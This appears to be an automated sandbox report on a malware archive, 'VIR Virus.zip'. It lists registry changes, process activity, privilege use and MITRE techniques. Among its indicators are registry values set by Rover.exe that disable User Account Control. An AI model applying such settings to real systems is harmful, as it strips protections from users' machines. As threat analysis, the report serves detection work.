1020	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\3\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\36\IEPropFontName = "Myanmar Text"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\18	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\20	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\28\IEFixedFontName = "Gadugi"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\39\IEFixedFontName = "Mongolian Baiti"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\13\IEFixedFontName = "Shruti"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\14\IEFixedFontName = "Kalinga"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\33\IEPropFontName = "Times New Roman"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\5	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\16\IEFixedFontName = "Vani"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\19\IEPropFontName = "Leelawadee UI"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\29\IEPropFontName = "Gadugi"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\31	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\31\IEFixedFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\38\IEFixedFontName = "MV Boli"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\7	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\12\IEPropFontName = "Raavi"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\16\IEPropFontName = "Vani"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\22\IEPropFontName = "Sylfaen"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\7\IEFixedFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\20\IEPropFontName = "Leelawadee UI"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\21\IEPropFontName = "Microsoft Himalaya"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\23\IEFixedFontName = "GulimChe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\25	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\32\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\10\IEPropFontName = "Kokila"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\15	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\19\IEFixedFontName = "Cordia New"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\35\IEFixedFontName = "Estrangelo Edessa"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\37\IEPropFontName = "Leelawadee UI"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\39\IEPropFontName = "Mongolian Baiti"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\30\IEPropFontName = "Microsoft Yi Baiti"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\16	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\17\IEPropFontName = "Tunga"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\22	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\37	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\4\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\3\IEFixedFontName = "Courier New"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\6\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\25\IEFixedFontName = "MingLiu"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\33	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\35	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\30	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\38\IEPropFontName = "MV Boli"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\9\IEFixedFontName = "Courier New"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\32\IEFixedFontName = "Times New Roman"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\9	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\21	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\29\IEFixedFontName = "Gadugi"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\12	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\18\IEFixedFontName = "Kartika"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\20\IEFixedFontName = "Leelawadee UI"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\39	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\8\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\6\IEFixedFontName = "Courier New"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\27	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\17\IEFixedFontName = "Tunga"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\24\IEFixedFontName = "MS Gothic"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\36	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\15\IEFixedFontName = "Vijaya"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\31\IEPropFontName = "Times New Roman"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Internet Explorer\International\Scripts\5\IEFixedFontName = "Courier New"	reg.exe

Modifies registry class 13 IoCs

Processes:

3.execmd.execmd.exechrome.exefirefox.exeMiniSearchHost.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\psiphon\shell\open\command	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\psiphon\shell	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\psiphon\ = "URL:psiphon"	3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\psiphon\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\vir_a31cbce7-7704-4354-b64c-cb689ae38928\\bloatware\\3.exe\" -- \"%1\""	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\psiphon\URL Protocol	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\psiphon\shell\open	3.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3001105534-2705918504-2956618779-1000\{63D3F079-8A70-4C1A-A0A0-89055FEFBDD1}	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\psiphon	3.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	OpenWith.exe

Runs net.exe
Runs ping.exe 1 TTPs 6 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXE

pid process

5772 PING.EXE
2656 PING.EXE
3884 PING.EXE
1312 PING.EXE
2908 PING.EXE
6000 PING.EXE

pid	process
5772	PING.EXE
2656	PING.EXE
3884	PING.EXE
1312	PING.EXE
2908	PING.EXE
6000	PING.EXE

Suspicious behavior: EnumeratesProcesses 36 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exetasklist.exemsedge.exemsedge.exemsedge.exeidentity_helper.exeWinaeroTweaker-1.40.0.0-setup.tmppowershell.exepowershell.exenztlCaR904IgtCjEbP52qghq.exe

pid	process
2116	msedge.exe
2116	msedge.exe
3476	msedge.exe
3476	msedge.exe
844	identity_helper.exe
844	identity_helper.exe
3268	msedge.exe
3268	msedge.exe
1656	tasklist.exe
1656	tasklist.exe
4336	msedge.exe
4336	msedge.exe
3544	msedge.exe
3544	msedge.exe
872	msedge.exe
872	msedge.exe
4988	identity_helper.exe
4988	identity_helper.exe
3024	WinaeroTweaker-1.40.0.0-setup.tmp
3024	WinaeroTweaker-1.40.0.0-setup.tmp
5948	powershell.exe
5948	powershell.exe
5948	powershell.exe
5948	powershell.exe
5948	powershell.exe
5948	powershell.exe
5948	powershell.exe
5948	powershell.exe
5948	powershell.exe
332	powershell.exe
332	powershell.exe
332	powershell.exe
1568	nztlCaR904IgtCjEbP52qghq.exe
1568	nztlCaR904IgtCjEbP52qghq.exe
1568	nztlCaR904IgtCjEbP52qghq.exe
1568	nztlCaR904IgtCjEbP52qghq.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

ac3.exe

pid process

3060 ac3.exe

pid	process
3060	ac3.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

Processes:

msedge.exemsedge.exe

pid	process
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

firefox.exetasklist.exetaskkill.exeRover.exetaskkill.exetaskkill.exescary.exetaskkill.exeRomilyaa.exeAUDIODG.EXEpowershell.exepowershell.exeregsvcs.exenztlCaR904IgtCjEbP52qghq.exe

description	pid	process
Token: SeDebugPrivilege	408	firefox.exe
Token: SeDebugPrivilege	408	firefox.exe
Token: SeDebugPrivilege	1656	tasklist.exe
Token: SeDebugPrivilege	1020	taskkill.exe
Token: SeDebugPrivilege	1064	Rover.exe
Token: SeDebugPrivilege	5588	taskkill.exe
Token: SeDebugPrivilege	2324	taskkill.exe
Token: SeDebugPrivilege	5916	scary.exe
Token: SeDebugPrivilege	2412	taskkill.exe
Token: SeDebugPrivilege	5340	Romilyaa.exe
Token: 33	6116	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	6116	AUDIODG.EXE
Token: SeDebugPrivilege	5948	powershell.exe
Token: SeDebugPrivilege	332	powershell.exe
Token: SeDebugPrivilege	1168	regsvcs.exe
Token: SeManageVolumePrivilege	1568	nztlCaR904IgtCjEbP52qghq.exe

Suspicious use of FindShellTrayWindow 60 IoCs

Processes:

firefox.exemsedge.exemsedge.exeefsui.exeWinaeroTweaker-1.40.0.0-setup.tmpRomilyaa.exe

pid	process
408	firefox.exe
408	firefox.exe
408	firefox.exe
408	firefox.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
924	efsui.exe
924	efsui.exe
924	efsui.exe
3024	WinaeroTweaker-1.40.0.0-setup.tmp
5340	Romilyaa.exe

Suspicious use of SendNotifyMessage 31 IoCs

Processes:

firefox.exemsedge.exemsedge.exeefsui.exeRomilyaa.exe

pid	process
408	firefox.exe
408	firefox.exe
408	firefox.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3476	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
3544	msedge.exe
924	efsui.exe
924	efsui.exe
924	efsui.exe
5340	Romilyaa.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

firefox.exeMiniSearchHost.exe3.exeRomilyaa.exeOpenWith.exe

pid	process
408	firefox.exe
408	firefox.exe
408	firefox.exe
408	firefox.exe
408	firefox.exe
408	firefox.exe
408	firefox.exe
1472	MiniSearchHost.exe
5500	3.exe
5500	3.exe
5340	Romilyaa.exe
5428	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup.exefirefox.exefirefox.exe

description	pid	process	target process
PID 3156 wrote to memory of 1684	3156	setup.exe	setup.exe
PID 3156 wrote to memory of 1684	3156	setup.exe	setup.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 2108 wrote to memory of 408	2108	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 4536	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 248	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 248	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 248	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 248	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 248	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 248	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 248	408	firefox.exe	firefox.exe
PID 408 wrote to memory of 248	408	firefox.exe	firefox.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

Processes:

Rover.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "1"	Rover.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

6288 attrib.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\VIR Virus.zip"
1⤵
PID:484

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1516 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:2
1⤵
PID:4812

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
PID:4772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2220 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
PID:4788

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=3052 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:1
1⤵
PID:4824

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=3124 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:1
1⤵
PID:2248

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:3156

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --mojo-platform-channel-handle=4200 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:1
1⤵
PID:2996

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3500 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
PID:3868

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4368 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
PID:1200

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4596 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
PID:2544

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4396 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
PID:2036

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4856 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:8
1⤵
PID:2808

C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --reenable-autoupdates --system-level
1⤵
- Suspicious use of WriteProcessMemory
PID:3156
- C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe
  "C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x258,0x25c,0x260,0x234,0x264,0x7ff69772ae48,0x7ff69772ae58,0x7ff69772ae68
  2⤵
  PID:1684

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --mojo-platform-channel-handle=5008 --field-trial-handle=1828,i,13203538504144648895,9683611491832898835,131072 /prefetch:1
1⤵
PID:3012

C:\Program Files\Google\Chrome\Application\chrome.exe
